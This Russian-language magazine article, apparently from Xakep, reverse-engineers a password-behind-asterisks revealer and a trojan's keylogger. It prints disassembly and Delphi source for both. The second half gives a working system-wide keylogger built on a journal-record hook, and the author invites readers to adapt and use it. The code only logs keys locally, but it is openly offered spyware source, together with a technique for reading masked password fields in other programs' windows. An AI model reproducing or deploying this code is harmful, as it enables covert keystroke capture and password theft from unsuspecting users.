Пару дней назад ко мне в руки попал очередной «хакерский» диск с
многообещающим названием «Всё что надо хакеру/крэкеру для взлома любой
системы» (круто! :)). На диске содержится много «полезного» софта для 
истинного компьютерного хулигана: 

1. FrontPage 98. 
2. Go!Zilla (хорошая кстати прога). 
3. Полная официальная версия WinXP (объём дистрибутива 150 метров (!)). 
4. Коллекция вирусов (это интересно :)). 

Коллекция вирусов при ближайшем рассмотрении содержала в себе много
прог, которые вредоносными и назвать тяжело (подборщики паролей,
системы удалённого администрирования, крякер инета 🙂 и т. д.). И среди
всего этого попались мне интересные проги, а именно OpenPass, Behind
The Asterisks и MadExplorer. Первые две занимаются тем, что показывают
пароли находящиеся за звёздочками. Но особенность их в том, что они не
используют DLL. В «Хакере» была статья (ver.10.01(34)) о написании
смотрелки. Суть той программы заключалась в следующем: экзешник
загружает Dll’ку, которая в свою очередь ставит хук на мессаги и смотрит, где
кликнула мышь, там убирает звездочки. Но в OpenPass и Behind The Asterisks
нет DLL (поэтому они меня и заинтересовали). Ну что ж, посмотрим что содержится в Behind The Asterisks (так как она
меньше, чем OpenPass). Для этого возьмём WinDasm и декомпилируем BTA. Код
программы очень прост и легко читаем. Программа создает стандартный диалог
DialogBoxParamA() и работает только с ним, но не это интересно. Как же она 
достает текст из полей ввода без DLL? Смотрим и видим следующие строки: 

:00401052 53 push ebx 
:00401053 6A0A push 0000000A 
:00401055 6A04 push 00000004 
:00401057 51 push ecx 

* Reference To: USER32.SetTimer, Ord:0252h 

:00401058 FF1528204000 Call dword ptr [00402028] 

Это сразу бросается в глаза (так как программа очень маленькая). Что же
делает таймер? А вот что: 

//Получаем информацию о расположении курсора на экране. 
:0040107C 6800304000 push 00403000 

* Reference To: USER32.GetCursorPos, Ord:00FCh 

:00401081 FF1518204000 Call dword ptr [00402018] 
//Теперь получаем handle элемента, над которым находиться мышь. 
:00401087 A104304000 mov eax, dword ptr [00403004] 
:0040108C 50 push eax 
:0040108D 8B0D00304000 mov ecx, dword ptr [00403000] 
:00401093 51 push ecx 

* Reference To: USER32.WindowFromPoint, Ord:02A9h 

:00401094 FF1530204000 Call dword ptr [00402030] 
// Посылаем сообщение handle’у. 
:0040109A 6814304000 push 00403014 
:0040109F 6800040000 push 00000400 
:004010A4 6A0D push 0000000D 
:004010A6 50 push eax 

* Reference To: USER32.SendMessageA, Ord:0214h 

:004010A7 FF152C204000 Call dword ptr [0040202C] 

Сообщение 0000000D соответствует WM_GETTEXT. То есть данный вызов копирует
содержимое элемента в массив. Ну а с полученными данными можно делать всё что угодно (в том
числе показать пользователю :)). Вот исходник всего этого на Delphi: 

… 
var 
… 
h:integer; 
… 

procedure timer; 
var c:array[1..255] of char; 
p:tpoint; 
handle:hwnd; 
begin 
GetCursorPos(p); 
handle:=WindowFromPoint(p); 
SendMessage(handle,WM_GETTEXT,sizeof(c),integer(@c)); 
Form1.Caption:=c; 
end; 

procedure TForm1.FormCreate(Sender: TObject); 
begin 
h:=settimer(handle,0,300,@timer); 
end; 

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); 
begin 
killtimer(handle,h); 
end; 

Ну вот и всё что касалось BTA. Теперь о MadExplorer’е. Это троян с кучей
функций, среди которых есть клавиатурный шпион, и опять же он реализован без Dll’ки. Обычно в
таких программах делают хук на WH_KEYBOARD и ловят все нажатия (о подобной реализации можно
прочесть например на «Хакере» в статье «Клавиатурный шпион своими руками» (кстати советую, автор
хороший кодер)). Минусом этого шпиона можно считать наличие двух файлов и лишние
телодвижения (такие как обработка DllEntryPoint). Изучив код MadExplorer’а (приводить его здесь нет смысла,
так как он очень большой) я написал следующий пример: 

… 
var 
… 
h:hhook; 
… 

function Proc( 

code:integer; 
wParam:WPARAM; 
lParam:LPARAM 
):lresult;stdcall; 
var c:array[0..255] of char; 
nScan:integer; 
begin 
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin 
nScan:=hibyte((teventmsg(pointer(lparam)^).paramL)); 
nscan:=nscan shl 16; 
GetKeyNameText(nScan,c,256); 
form1.ListBox1.Items.Add(c); 
end; 
result:=callnexthookex(h,code,wparam,lparam); 
end; 

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); 
begin 
unhookwindowshookex(h); 
end; 

procedure TForm1.FormCreate(Sender: TObject); 
begin 
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0); 
caption:=inttostr(h); 
end; 

Этот пример можно доработать и использовать в своих благородных целях.
Вот и всё. Жду пожеланий. Если ты хочешь о чём-либо узнать и мне тоже будет
интересно, я обязательно напишу.

Оставить мнение

Check Also

Windows 10 против шифровальщиков. Как устроена защита в обновленной Windows 10

Этой осенью Windows 10 обновилась до версии 1709 с кодовым названием Fall Creators Update …